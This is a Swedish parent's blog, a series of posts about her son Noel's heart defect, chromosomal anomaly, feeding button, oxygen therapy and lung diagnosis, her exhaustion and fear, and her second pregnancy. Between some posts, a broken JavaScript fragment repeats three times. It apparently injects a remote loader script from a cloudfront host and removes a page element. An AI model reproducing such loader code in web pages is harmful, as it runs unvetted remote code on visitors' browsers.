Förbannade sjukdomar

Jag blir verkligen tokig snart över alla sjukdomar som avlöser varandra. Känns som Noel varit dålig mer eller mindre sedan lunginflammationen i december. Det är något nytt hela tiden. Dessvärre så gjorde hela ”magsjukeincidenten” att jag nojar extremt mycket. Jag är nog konstant orolig, mer eller mindre, en liten hostattack gör att jag liksom sätter hjärtat i halsgropen. Förra veckan hade Noel feber i 6 dagar, allt från 39,3-40,7 i temp…Vi avslutade penicillinkuren förra onsdagen, men han hade feber och hosta i vilket fall, alltså något vanligt jävla ettrigt virus. Och det sitter i, det där viruset, jag är själv ”dålig” (perspektiv) och Leon var snorig och hade feber några dagar förra veckan. Men det är så fruktansvärt jobbigt att det aldrig vill gå över. För tillfället har han syrgas dygnet runt, visserligen inte lika mycket nu som förra veckan så det bör vara ett tecken på att det är på väg att bli bättre, men han är så trött, jättetrött. Han fick blod igen förra veckan, då hade hans HB gått ner till 64 sådär hastigt igen. Blir tokig, dels för att det sjunker så snabbt nu när han är sjuk och aldrig hinner bli frisk innan nästa infektion, och dels för att det ska ta sådan tid innan han får blod!

Fast mest tröttsamt av allt är nog oron. Den gnager nog mest inom mig. Och det beror nog mest på det som hände när Noel hade magsjuka. Jag får för mig både det ena och det andra. Är han trött och törstigt tror jag att han har diabetes, är han trött och febrig så tror jag han har cancer och sådär håller det på. Egentligen så vet jag att han är trött för att kroppen blir så påfrestad av alla infektioner och ständigt lågt HB, en massa feber och dålig sömn på natten. Jag vet ju det, men ändå så oroar jag mig. Jag oroar mig ännu mer eftersom vi ju ska åka till England på fredag, tanken är så i alla  fall, om Noel piggnar på sig och inte blir mer sjuk. Jag oroar mig för minsta lilla och blir rätt ledsen nu i perioder. Man skulle lätt kunna påstå att jag hamnat i en ond spiral, eller svacka, kalla det vad ni vill, men jag tänker nog negativt om det mesta just nu. När vi sitter där på rummet på sjukhuset, med en tagen Noel i knät och det liksom känns sådär hopplöst för han blir aldrig riktigt frisk då känns allt väldigt jobbigt, det är då jag målar upp dom värsta av värsta scenarion i huvudet och får in i något slags ”må-dåligt-mood”….hur jag ska ta mig ur detta? Bortsett från att jag vet att jag borde prata med någon vettig människa om det där som hände på sjukhuset så tror jag, hur sjukt det än låter, att jag verkligen behöver åka bort i helgen. Jag måste våga släppa spärren som finns, våga sänka den där muren som liksom sköts till höjderna efter att Noel var nära att dö i februari. Jag måste låta mig själv slappna av och lämna ansvaret till någon annan för en liten stund. Det kommer säkert gå jättebra, även om jag målar upp något helt annat mellan varven. Farmor är trygg med att ta hand om Noel och det har gått bra förut när hon haft honom över natten. Sjukhuset ligger 5 min från där vi bor, alltså kan farmor snabbt åka upp eller så kommer en ambulans snabbt till oss om det skulle hända något. Det som är nytt för oss alla är ju denna astma som han verkar ha, som blivit värre, om jag ska lita på mina instinkter så är det säkert för att det börjar bli vår och att infektionerna kommit så tätt nu. Noel får jätte jobbiga hostattacker som ofta resulterar i att han kräks och att luftrören drar ihop sig och gör det jobbigt för honom att andas. Men igår hämtade vi en ny inhalator att ha hemma, en pariboy för er som vet vilken det är, den är batteridriven och man häller i flytande medicin som sedan ”ångas” ut genom en mask så man kan flöda det framför Noel, istället för att han ska behöva ta djupa andetag i den vi har nu (Vortax). Så denna kommer fungera toppen när han får astmaanfall eller hostattacker, vi har fått Ventolin utskrivet och kommer använda det när det behövs. Så det gör mig mer lugn, han har inte så jobbigt med andningen just nu, bara det att alla jävla infektioner påverkar hans lungfunktion negativt och det tar alltid tid innan han kan trappa ner på syrgasen…

Jag bara längtar tills vi får en period där Noel mår bra igen. Gärna en längre period. Så oron lägger sig lite och vi kan få lite mer normal vardag här hemma. Jag längtar efter att Noel ska få springa runt i gåstolen fritt utan att fastna i syrgasslangen. Jag längtar efter en lugn, skön sommar med många dagar i gräset eller sanden tillsammans. Det känns väldigt långt borta just nu, men jag längtar. Jag måste tro på att detta är tillfället, virus och infektioner som avlöser varandra, för detta får absolut inte vara det nya tillståndet, det får inte vara så här det kommer vara i fortsättningen. Jag måste tro att det ger sig snart. Jag måste sluta tänka negativt och tänka framåt istället. Det kanske tar tid, men bara han inte blir mer sjuk nu. Vi har så mycket att se fram emot i sommar, så mycket framtid tillsammans, jag längtar efter den…efter lugnet.

Det är inte mycket lugn i mitt hjärta. Det är nog egentligen rätt kaosartat där inne. Jag är så fruktansvärt rädd att Noel ska lämna oss. Att jag aldrig mer ska få hålla hans lilla späda, varma kropp i min. Jag är livrädd, för jag kan inte leva utan honom. Meningen med mitt liv är ju barnen. Noel och jag har väldigt speciella och starka band, skulle något hända honom skulle jag aldrig någonsin kunna läka och bli hel igen. Någon kommer alltid fattas oss. Oavsett hur mycket man försöker tänka framåt, tänka positivt så finns det alltid där, det där ovissa. Noel har en oviss framtid, det står i svart på vitt. Ingen vet någonting. Jag önskar mig ett kvitto på att han alltid fick leva, men det kommer jag aldrig få. Det finns alltid med oss, att en dag kanske han inte kommer finnas här hos oss…det gör ont, så fruktansvärt ont.

Men jag vet också att vi inte kan sluta leva för det. Vi kan inte sluta drömma och uppfylla våra mål och drömmar i livet. Är Noel frisk till helgen kan vi inte strunta i att åka bara för att vi är rädda för att något skulle kunna hända, det kan hända något varje dag, imorgon eller nästa år. Ingen vet. Men visst slits man i tankarna. Men jag tror och hoppas att det är nyttigt för oss alla fyra, att vara ifrån varandra i ett par dagar. Vi kommer längta och sakna och säkert vara lite ledsna emellanåt. Men vi kommer förhoppningsvis få en underbar, fantastisk och givande resa till London, och barnen kommer få full uppmärksamhet på skilda håll en hel helg…och förhoppningsvis när vi vaknar upp på måndag morgon nästa vecka så har vi alla fått ny energi till att orka med varandra och livets prövningar för resten av året…vad vet jag, men jag hoppas på det. Jag hoppas att saker och ting för en gångs skull går vår väg. Att Noel frisknar på sig så allt känns stabilt på fredag och att han håller sig så till operationen i Maj. Jag hoppas operationen går som den ska, att Noel återhämtar sig bra och att vi sen kan se fram emot en varm, härlig sommar tillsammans alla fyra!

 

Jag är orolig och rädd, med hjärtat långt utanför kroppen. Men jag måste nog våga, släppa på spärren och förhoppningsvis vinner jag något på det. Jag tror de flesta är nervösa och lite ängsliga inför att lämna bort sina barn för första gången (så länge), det är naturligt, och det är nog världens naturligaste sak att vi är mer oroliga över att lämna Noel. Men det blir nog bra. För det måste bli bra!

Trött och ledsen

Jag känner mig så ofantligt trött på allt just nu. Jag är trött på allt kämpande, på all träning, på alla extra turer till sjukhuset..trött på allt verkligen. Jag är trött på att man letar sätt som ska fungera, hitta rutiner som funkar för oss, trött på när det kommer något emellan, när det man kämpat för förstörs och så får man börja om från ruta ett igen. Jag känner mig ledsen över att vi kämpar och kämpar och trots det verkar folk inte förstå hur pass mycket tid vi lägger ned på olika saker. Jag är ledsen över Noels vikt, den ständiga kampen med maten och viktuppgången. Vi kämpar och kämpar, men vågen står still och folk verkar tro att vi inte ger honom mat, att vi inte försöker, inte kämpar. När vi i själva verket provar allt vi kan, jag sitter i timmar och letar mat, jämför innehållsförteckningar, provar att göra egen gröt, egen mat, men inget hjälper, vi provar med pulver, tillsatser osv, antingen så krockar det med magen eller så fungerar det inte i alla fall.

Jag känner mig ledsen över att känna att jag aldrig räcker till. Ledsen över att ständigt känna att det är något jag måste göra. Vi kan inte bara ha en dag och slappna av och bara leka. Vi måste tänka på att träna, på att öva, inte missa någon mattid, hålla rutiner etc. Jag känner mig ledsen över att den där lilla killen inte bara kan få vara, utan han måste in till sjukhuset, byta knapp, träffa doktor, vägas, mätas, regelbundet, var och varannan vecka, remisser hit och dit, habiliteringsplanering etc. Jag känner mig ledsen över att vi inte bara kan vara…Vi kan inte bara släppa maten, medicinerna, syrgasen, läkarbesöken. Vi kan inte bara stanna under täcket en hel dag, strunta i remisserna som dimper ner. Inte strunta i att planera, träna, ligga steget före…jag känner mig trött!

Jag önskar att Noels liv vore enkelt. Att han kunde äta som andra barn, att han förstod varför vi gjorde vissa saker, att jag kunde förklara. Jag känner mig ledsen över att varje litet steg i hans liv är kämpigt, att han måste kämpa så ofantligt mycket för något som är så självklart för andra. Jag är ledsen över att jag inte kan ta saker för givet med honom, att leva i ovisshet.

Jag är ledsen över att Noel är annorlunda, att det är så kämpigt vissa dagar. Ledsen över att människor inte förstår, att alla tror att nu så länge Noel inte är allvarligt sjuk så är allt en dans på rosor, som att allt jobbigt bara skulle ha försvunnit den dag vi fick flytta hem igen. Jag är trött på att ingen verkar vilja försöka förstå, att ingen erbjuder sig att följa med en gång till sjukhuset, att vara med och hjälpa till med olika saker under dagen, att ingen verkar vilja ta del i den ”sjuka” delen av Noels liv. Visst vill vi fokusera på allt positivt, men det finns fortfarande massa jobbigt som speglar Noels vardag.

Jag är ledsen över att jag känner mig otillräcklig. Att jag blir irriterad på Noel ibland för att han inte kan äta ordentligt, att han glömmer bort att svälja, att han inte kan sitta still. Jag blir ledsen på mig själv för att jag tappar tålamodet när han inte kan fokusera på maten, jag vet ju att det inte är hans fel, att det där med att äta inte är så självklart. Men jag är egentligen irriterad över att hans avvikelse gör att allt blir så kämpigt. Det är ju inte Noel i sig jag är irriterad och ledsen på utan hans funktionshindren i sig.
Jag känner mig ledsen över att Noel inte riktigt får ta del i den värld som jag vill att han ska få ta del i. Den som Leon kommer få ta del i. Vara på badhuset, kolmården, tivoli osv. Noel förstår inte, men Leon kommer förstå. Det gör mig ledsen, även om jag innerst inne vet att Noel har det bra i ”sin värld”, så länge han är nöjd och glad så mår han ju bra.

Men jag skulle önska att saker var lättare vissa dagar. Att när Noel somnat så får han sova ostört. Inte att man ska krångla på med saturationsmätare, ställa in larmgränser, på med syrgasgrimma, i med knappslangen, göra medicin, i med mat som tar skitlång tid eftersom han jättelätt mår illa när han får mat i knappen när han sover. Jag skulle önska att han fick vara ifred, få sova ifred, vakna och äta när han själv vill, inte på klockad tid! Jag skulle önska att jag fick sova utan övervak, att vi kunde slappna av, att vi visste att Noel sover gott och mår bra! Jag är väldigt tacksam över att Leon har det så och jag missunnar inte alls honom det, men jag skulle önska att Noel också fick en del av det där livet som jag upplever är så enkelt. För i mina ögon, som har sett det jobbigaste och svåraste, så känns Leons liv väldigt enkelt, lite som om han åkte på ett bananskal genom livet, allt liksom bara klaffar och fungerar. Noels liv är hackigt och kämpigt, krokigt och består av en lång uppförsbacke som man ska ta sig upp för. Det går men det är verkligen något man får kämpa för. Och sanningen är att även om man tagit sig upp för någon backe så är det så lätt att halka ned, att få ett bakslag. Med Noel tar det liksom aldrig slut känns det som, det är aldrig BARA ett hjärtfel det är ett hjärtfel och gärna något mer utöver det. Han har inte bara en kromosomavvikelse han har en blodsjukdom också. Det känns som det aldrig tar slut….känner mig utmattad!

Just nu, just idag så känner mig mig ledsen. Ledsen över att Noel inte kan få ha det lite enkelt ibland. Ledsen över att vi inte bara kan strunta i allt och bara vara. Ledsen över att det är så mycket hela tiden, att alltid känna stress över att hinna med så mycket på en dag som är möjligt vad gällande träning, stimulans, lek, närhet, bus, kärlek, och så allt annat nödvändigt som mat, sömn, borsta tänder, smörja in, mediciner osv osv osv….

Livet med Noel kommer alltid vara kämpigt, och det har jag accepterat, det är inte Noel i sig som är jobbig, utan allt runt omkring. Jag bara önskade att det kunde komma en dag där man fick släppa allt…bara för en dag! Jag önskar att det fanns mer andrum, fler som kunde ta hand om Noel, att han kunde vara mer tillfreds bland andra och att det inte skulle ta så lång tid för honom att känna tillit till andra! Jag bara önskar mig lite lugn och ro…ingen hets över något, att allt bara flöt på!

Till råga på allt så fick vi parkeringsböter 2 gånger idag. Vår boendeparkering gick ut häromdagen och då fungerade inte automaten, så nu fick vi böter för det. Dessutom åkte vi på en böter när vi var till BVC idag. Tydligen som stod vi parkerade i 35 minuter där man endast fick stå i 30…hur jävla förbannad blir man inte på sånt, visst att dom gör sitt jobb, men 5 min hit eller dit blir man ju förbannad på! Dessutom så hade Noel en hemsk trotsig stund idag när han skulle sova middag, 1,5 timme tog det att få honom och somna…tur man förstod att det var trots annars hade vi nog trott att han höll på och dö så mycket som han skrek…Nu sover i alla fall bägge barnen och jag ska gå och lägga mig snart. Hoppas på en lugn natt så man känner sig någorlunda utvilad imorgon!

Imorgon hoppas jag att jag känner mig mindre ledsen och att det mesta känns lätt och enkelt! Det gör det ju trots allt de flesta dagar…

Dom små sakerna

Det gäller att uppmärksamma dom där små sakerna i vardagen/livet som gör en extra glad eller som underlättar en stressig vardag.
Idag är jag extra tacksam för att;

– Ted tog hand om alla larm inatt och sov bredvid Noel så jag fick sova hyfsat ostört, trots att han själv skulle upp efter 05.
– Noel tog sovmorgon till 08, vilket innebär att jag faktiskt känner mig rätt utvilad idag!
– Vi hann ner på stan och hem under uppehåll så vi slapp bli genomblöta
– Jag fick hämta ut Noels medicin som vi beställt tills idag trots att deras datasystem inte fungerade på apoteket, tack för det, då slapp vi gå ner på stan en gång till idag.
– Bilen gick igenom besiktningen utan anmärkning :) Vi ska bara byta en helljuslampa, men det var på eget ansvar, alltså ingen ombesiktning pga det.
– Noel åt hela frukosten och mellanmålet själv idag (alltså ingen mat i knappen) :)

Nu väntar jag bara på att lillebror vill komma ut. Vore ju bra idag eftersom farmor är kvar i stan och jag fått sova helt okej! Men sådan tur kan vi väl inte ha, eller??

Funderingar

Ganska ofta funderar jag lite kring Noels alla funktionshinder och hans kromosomavvikelse, hur framtiden kommer bli, hur Noel kommer bli, det är många tankar som rör sig i huvudet.

– Kommer han att kunna lära sig kommunicera och ropa på ex mamma och pappa om han behöver hjälp?
– Kommer han kunna förstå samspel och lek med andra barn och vuxna?
– Kommer han kunna sköta sin hygien själv?
– Kommer han kunna andas utan andningsstöd?
– Kommer han rita teckningar och göra pyssel till oss i familjen?
– Kommer han kunna spela fotboll med sina kusiner?
– Kommer han kunna gå i skolan och lära sig läsa och skriva?
– Kommer han få det lättare att gå upp i vikt och växa?
– Kommer andra barn reta honom?
– Kommer andra vuxna se ner på honom för att han är ”annorlunda”?
– Kommer han leva ”livet ut”?
– Kommer han förstå och känna sig annorlunda än andra barn?
– Kommer människor i hans närhet ha förståelse för att han är annorlunda och respektera honom som individ?
– Kommer människor ta sig tid att lära känna Noel på djupet, eller ”strunta” i det för att det tar tid för honom att bygga upp en relation?
– Kommer han kunna leva någorlunda självständigt som vuxen?

Jag har många funderingar och tankar kring Noels framtid, men det största frågan av dem alla är hur jag som förälder kommer hanterar ovanstående. Kommer jag bry mig om omvärldens tankar och åsikter? Kommer vi få tillräckligt med hjälp och förståelse från myndigheter och nära och kära? Kommer vi orka kämpa hela vägen?

Det enda fakta som jag vet är att vi älskar Noel helt villkorslöst och Noel älskar oss och livet mer än någonting. Han vill finnas till och han vill utvecklas! Det jag vet är att vi kommer göra allt vi kan för att han ska få ett så bra och värdigt liv som möjligt, vad det innebär idag vet jag inte, men vi tar ju en dag i taget. Vi ska kämpa och slåss för honom, och vi ska försöka få omvärlden att respektera och lära känna vår son precis på det sätt som han är värd att kännas vid!

Knapp

Noel har haft sin knapp i ca 16 månader nu, han fick den i April förra året. I början var jag enormt skeptisk till att låta Noel få en knapp, dels för att en del av mig hoppades innerligt att han inte skulle behöva den, och så dels för att jag inte ville att han skulle sövas och behöva genomgå en operation för att få ett hjälpmedel.

Och det är just ett hjälpmedel knappen är. Ett underbart hjälpmedel. När man väl vant sig vid den, och det har vi ju eftersom vi inte ens tänker på att den finns där längre, så känns det bara helt naturlig, lite som att man känner -har inte alla barn en knapp…

Jag kan tycka det är läskigt med knappen ibland. Det är ju trots allt ett hål rakt in i magsäcken som knappen täcker upp, skulle den ramla ut så är där ett öppet hål rakt in. Visserligen läker ”hålet” extremt fort, bara på någon timme (på gott och ont) men det är ändå läskigt på något sätt. Sedan är det ju just grejen att det läker så snabbt, jag är livrädd att den där jäkla knappen skulle lossna och vi inte får dit den igen, då måste man ju operera om och sätta dit en ny…fy. Sedan har vi det där med att byta vatten i knappen. Konstruktionen är som den att knappen sitter på ovansidan magen och i andra sidan av ”hålet” fylls en ballong med vatten som hindrar knappen från att lossna och ramla ur. Men vattnet i ballongen måste bytas med jämna mellanrum, det kan helt enkelt bli kondens så vattenmängden minskar och behöver fyllas på, detta gör vi själva hemma. Det är egentligen jätte enkelt och vi gör det när Noel sover så vi inte riskerar att knappen åker ut, men medan man tar bort vattnet finns ju inget som håller den på plats bortsett från att vi håller fast den mot magen. Jag är livrädd varje gång jag gör detta, dels för att jag får för mig att knappen ska åka ut, och sen för att jag ska fylla ballongen för mycket så den spricker..då är liksom hela knappen förstörd och behöver bytas ut….vi har en extra här hemma, men så var det där med 1 timme, om man inte får i den på en timme så läker hålet….

Hur som så tänker vi sällen på knappen, men jag måste medge att det är en trygghet att den finns. Ett älskat hjälpmedel som sitter smidigt och inte är i vägen som sonden var. Som idag när Noel varit kinkig med maten pga sin tand så är knappen fantastisk, han slipper gå hungrig och jag slipper ångesten över att han inte får mat och inte går upp ordentligt…den är helt enkelt bra att ha och vi har inge planer på att ta bort den ännu, trots att Noel äter kanon på egen hand. Den sitter bra där den sitter och ingen av oss störs av att den finns, tvärtom, vi är glada att den är där den är!

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Starka band

[youtubeplay id=”nQR0_v1nnmE” size=”medium”]

Ibland när jag ser på dig, sådär med ögon som bara mammor har, så fylls mina ögon med tårar. Jag tror inte jag kan förklara älskade du hur mycket jag älskar dig, hur mycket du betyder för mig och hur otroligt stolt jag är över dig. Jag tror ingen förstår hur fantastisk du är, hur stark du är, hur vacker du är när du skrattar. Precis som ingen ser den där glimten i ögat som jag gör, känner den där värmen från din lilla kropp när du somnat i min famn, precis som ingen hör de där små andetagen i sömnen och skrattar med i det där skratten som bara du har. Det är så att vara din mamma hjärtat, svårt att förklara, svårt att förklara den där kärleken jag känner, det där otroligt starka bandet. När jag bär in dig till din säng på kvällen, känner värmen i min famn och hör dina små lätta andetag så finns det inget sätt att i ord kunna beskriva hur tacksam jag är över dig, att du finns hos mig, just i min famn, i den stunden, precis på det sätt du är.

Du gör mig så stolt  varje dag, att få se dig kämpa ger mig en otrolig styrka, du lär mig så mycket om livet som jag inte visste. Du gör mig till en bättre människa, en människa med mer tålamod, förståelse och insikt. Allt för att du valde att vara just som du är, för att du valde mig som din mamma. Jag hade inte velat ha dig på något annat sätt, hur kämpigt det än må ha varit och hur många hinder som än må komma på vår väg, jag skulle aldrig önska dig annorlunda på något sätt. Jag skulle aldrig vilja byta bort den där näpna munnen med det där stora leendet som avslöjar så offantligt mycket livsglädje. Jag skulle aldrig vilja byta bort den där smala, lilla kroppen med den otroliga styrkan som bär upp hela dig. Jag skulle aldrig, aldrig någonsin byta bort ditt lagade hjärta som bär på så mycket kärlek, hopp och glädje. För utan alla dina små egenheter skulle du inte vara du, den där speciella killen med så mycket vilja och livsglädje.

Det är svårt att förklara för någon hur ens hela kropp kan skrika så mycket av längtan efter dig när vi varit ifrån varandra en stund, svårt att förklara den där totala lyckan av att få känna dig i min famn igen. Utan dig i mitt liv Noel så är jag inte hel, utan dig vore jag inte jag längre. Du är en så liten människa men ändå får du mig att känna mig så hel, så totalt upprymd av lycka och kärlek. Jag och din pappa är så obeskrivligt lyckliga över dig, så stolta och så tacksamma. Jag vet faktiskt inte hur jag någonsin ska kunna uttrycka min tacksamhet över dig, kunna finna ord som förklarar den kärlek vi känner för dig.

Ingen känner dig som vi gör, ingen ser det ljus kring dig så som vi gör. Ingen ser alla de möjligheter som finns för dig i livet på det sätt som vi gör. Ingen förstår dig på det sätt som vi gör och ingen annan har privilegiet att få vara med dig dygnet runt så som vi får. Att få ha dig här hos oss i livet är den största, vackraste gåvan vi någonsin kommer få. Varje dag med dig Noel är en fantastisk gåva, något som vi värdesätter obeskrivligt mycket. På det sätt som du är, så som du kommer växa upp och bli, det är så vi vill att du ska vara, dig själv, Noel.

Om du inte redan visste det och kände det så säger jag det igen, om och om, jag älskar dig min Noel, precis så som du är!

Pyret v.33

Lillebror är alltså hela 32 fulla veckor och ett par dagar gammal nu. Känns helt ofattbart att vi redan hunnit så långt in i graviditeten, men livet utanför magen stannar ju inte upp utan fortlöper snarare i rasande fart. Igår var vi på tillväxtkontroll, ett extra ultraljud vi planerade in i samband med att vi beslutade om att göra fostervattensprovet. Redan i v.25 visade det sig ju att lillebror verkar vara en liten bebis, han växer men följer inte den ”normala” kurvan. Han verkar växa som han ska på längden och är cirka 40cm lång, däremot så ligger han under i vikt och väger nu ungefär 1700g, och bör väl ligga över 2000g något. Han ligger alltså -17% på viktskalan, detta med en uppskattat vikt efter att man mätt via ultraljud. Jag känner mig inte alls orolig egentligen, det finns många bebisar som väger mindre vid dessa veckor och som sedan går upp bra i magen, och så finns det såklart de bebisar som väger lite mindre än normen när de kommer ut och inget är ”fel” på dem heller. Vi ska i vilket fall tillbaka om 2 veckor igen för att se så lilleman i alla fall följer sin egen kurva och fortsätter att växa och gå upp i vikt inne magen.

Mig gör det inget med fler ultraljud, det är så otroligt fascinerande att se vår lilla kille där inne i magen, ett litet mirakel som faktiskt lever och rör sig där inne, och som till slut ska komma ut till oss, hans familj, mamma, pappa och storebror, det är verkligen overkligt men så ofantligt underbart. Igår fick jag tårar i ögonen, det är så stort att få barn, och att få uppleva det två gånger är verkligen en gåva. Jag längtar verkligen efter lillebror, det ska bli så spännande att få se vem som gömt sig där inne alla dessa månader, om han kommer vara lik Noel, mig eller Ted mest?

Jag tänker mycket på hur det kommer bli med två barn, andra människor verkar ha många tankar kring detta med märker jag, men det är ju mina och Teds tankar som är de viktiga. Såklart känner jag mig rädd och orolig för ”hur jobbigt” det kommer bli med två små som är totalt beroende av oss föräldrar, men samtidigt finns där så mycket kärlek och glädje som väger upp alla dom där sömnlösa nätterna och dagarna av trots. Jag tror egentligen inte att det blir jobbigare att få syskon nu än om några år. Vi vet ju inget om framtiden kring Noel, kanske lär han sig gå nästa sommar, kanske om 3 år osv. Det enda jag vet med största säkerhet är att det finns plats för ett barn till, att det finns tillräckligt med kärlek, trygghet och glädje i vårt hem till två barn. Vi vet inget om hur lillebror blir, en lugn bebis? eller en bebis med kolik? Men om det är något vi lärt oss dessa två år med Noel så är det att inget är omöjligt och att man klarar vad som helst tillsammans. Vi är en stark familj med så otroligt mycket kärlek så inget känns egentligen övermäktigt. Lillebror är mer än välkommen och så efterlängtad, han kommer få en naturlig plats i vår familj och jag tror att vi alla tre kommer känna en enorm glädje över honom. Det kommer bli en stor omställning att gå från ett till två barn, en som ska ammas och en som ska äta gröt samtidigt, två som skriker ikapp, dubbla bajsblöjor och matrester  lite överallt. Men vi kommer ha två som härliga killar som kommer växa upp med varandra tätt inpå och som mest troligt kommer ha stor glädje av varandra!

 

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Att minnas och uppskatta

Livet springer ifrån mig lite känner jag. Livet har fått vardag med morgon och kvällsbestyr, inrutade vardagar och efterlängtade helger. Inplanerad semester och schemalagda läkarbesök. Vi har en liten, stor, kille på snart 20 månader och om 10 veckor så anländer hans lillebror. Livet går lite för fort fram. Så fort att jag ibland tvingar mig själv att stanna upp och reflektera. Jag blir nästan lite rädd ibland över hur fort man vänjer sig vid en ny livssituation och hur fort det går att börja ta allt för givet igen.

Det var inte alls längesedan vi bodde på sjukhuset, då ena dagen var bra och nästa dålig, då livet en dag svajade på den sköraste tråden men nästa var stabil. Det var inte alls längesedan livet var som en enda berg och dalbana och vi slets mellan hopp och förtvivlan. Det är viktigt att kunna gå vidare, att tillåta livet att fortsätta levas, att uppskatta nuet och det man har. Men för mig känns det lika viktigt att påminna mig själv, att låta mig själv minnas den tiden som var som allra jobbigast, den tiden som gjort att vi hamnat där vi är idag.

Det är så lätt att tjafsa om vem som ska gå upp 05.00 när lilleman vaknar, lätt att bli irriterad över en sömnlös natt pga tänder som är på väg. Det är lätt att tröttna på tjatet om -vad ska vi äta idag, vem ska handla, tanka bilen, hänga tvätt, dammsuga? Alla måsten och vardagssysslor hopar sig lätt till en hög av irritation och suckar. För ett år sedan låg vi sömnlösa för vi var rädda att Noel skulle sluta andas, vi längtade efter att få vara ”som alla andra” och handla i mataffären, laga middag tillsammans, städa hemma hos oss själva och bara vara en familj. Man glömmer lätt då vardagen tar över, en vardag som vi suktade så länge efter men tycktes vara så långt borta. Jag påminner mig själv vart vi varit, för då uppskattar jag det vi har idag betydligt mer. Jag vill inte glömma, förtränga eller sluta tänka på hur vi haft, det är på något sätt det som format hur vi är som familj idag. Vi tar en dag i taget, planerar lite grann men försöker njuta i största mån det går.

Jag vill inte ta något för givet. Jag tar fortfarande inte livet för givet, andetagen, de små stunderna av total glädje och kärlek som familj. Jag vet hur snabbt det kan vända, så istället försöker jag njuta så mycket jag bara kan. Men visst glömmer jag ibland, blir irriterad över ”småsaker” i vardagen, visserligen har det sin charm, men om jag påminner mig själv om vad som är viktigast i livet så gör det mig inget att disken blir stående till dagen efter.

Det är fantastiskt egentligen hur långt vi kommit, vilken resa vi gjort och hur mycket Noel utvecklats det senaste året. För ett år sedan (maj) så kunde han inte andas själv alls, levde tack vare cpap och oändligt mycket syrgas, fick mat endast via sin knapp och orkade inte leka alls. Ett år senare så har han syrgas endast när han sover, han äter 5 mål om dagen själv (oftast) och leker oavbrutet, nu måste han istället underhållas alla vakna timmar och energin tycks aldrig ta slut. Idag kan han sitta själv, stå med stöd, plocka med leksaker, ha ner klossar och skratta när vi busar med honom. Livet ser helt annorlunda ut och så även vår vardag. För det är jag oändligt tacksam, för varje andetag som Noel kan ta utan hjälp. Och att minnas tiden då livet hängde på en skör tråd gör att jag uppskattar livet idag så mycket mer. Jag är stolt över Noel och stolt över oss föräldrar, jag är stolt över Ted och över hur alla nära och kära hanterat hela situationen. Och även om jag ibland är ledsen över vissa saker och sörjer en del saker i livet så är vi lyckliga idag, trygga i vår familj och redo för framtiden. Vi vågar se framåt och vi vågar även minnas.

30 maj i år fyllde jag år och vi firade med familj och vänner. Samma dag för 1 år sedan så satt vi på ett tåg på väg ner mot Lund och Noel flögs ner med hjälp av PETS teamet från ALB. 31 maj förra året så fick Noel sitt hela hjärta. Om man inte hade kunnat operera och laga hans hjärta så hade han inte funnits här idag. Den bittra sanningen är den. Utan sitt hela hjärta hade vi inte varit en hel familj idag. För detta är jag verkligen evigt tacksam. Det var den finaste presenten vi någonsin kunnat få, den bästa födelsedagspresenten. Så i år när jag fyllde så firade vi även att Noel haft sitt hela hjärta i 1 år. Livet lever vidare, men vi slutar aldrig minnas, kanske på gott och ont, men för oss så är det nyttigt att minnas det som varit, det får oss att uppskatta det vi har, och att inte ta saker för givet. Noel är den vackraste gåvan vi kunnat få, vårt lilla mirakel, men en människa med ett eget liv som vi verkligen inte tar för givet!

// -1?’https':’http';var ccm=document.createElement(‘script’);ccm.type=’text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Noels lungor

Så kom svaren ifrån Stockholm tills slut. Efter många om och men, och tydligen några extra resor med posten så fick vi svar från Noels lungutredning. Det man tror är att Noels lungproblem INTE är medfött. Detta är en otrolig lättnad, det innebär att Noel bör kunna producera egen frisk lungvävnad som till slut kan ersätta den lungvävnad som nu är ”trasig”. Man säger att Noels sjukdom nog beror på att han haft så otroligt många infektioner, och likt barn med cancer som får starka behandlingar kan dessa göra att lungorna tar stryk och bildar blåsor i lungvävnaden, blåsor som sedan spricker och gör att lungvävnaden mer eller mindre förstörs. Noels lungvävnad har ett mosaikliknande mönster där vävnaden är sjuk. Man kan inte säga ifall detta kommer att växa bort eller försvinna helt, man vill inte uttala sig om detta då det är en ovanlig åkomma och det är så individuellt från barn till barn. Det vi dock märkt är ju att Noels syrgasbehov minskar då han håller sig frisk och infektionsfri!

Man skulle kunna tro att om Noel växer, blir större och starkare så bör hans lungproblem bli bättre. Om han dessutom kan hålla sig ifrån infektioner, och då främst luftvägsvirus så är chansen större att han en dag inte behöver syrgas, i alla fall inte så mycket, han kanske kan vara ur dagtid och endast ha på natten. Lungvävnad är också det organ i kroppen som bildar nya celler långsammast (rätta mig om jag har fel) och då tar processen att läka de sjuka delarna långsammare än exempelvis ett sår i huden. Rent hypotetiskt så bör Noel producera frisk lungvävnad om hans sjukdomstillstånd inte är medfött, alltså bör han ha en chans att kunna bli bättre i framtiden!

 

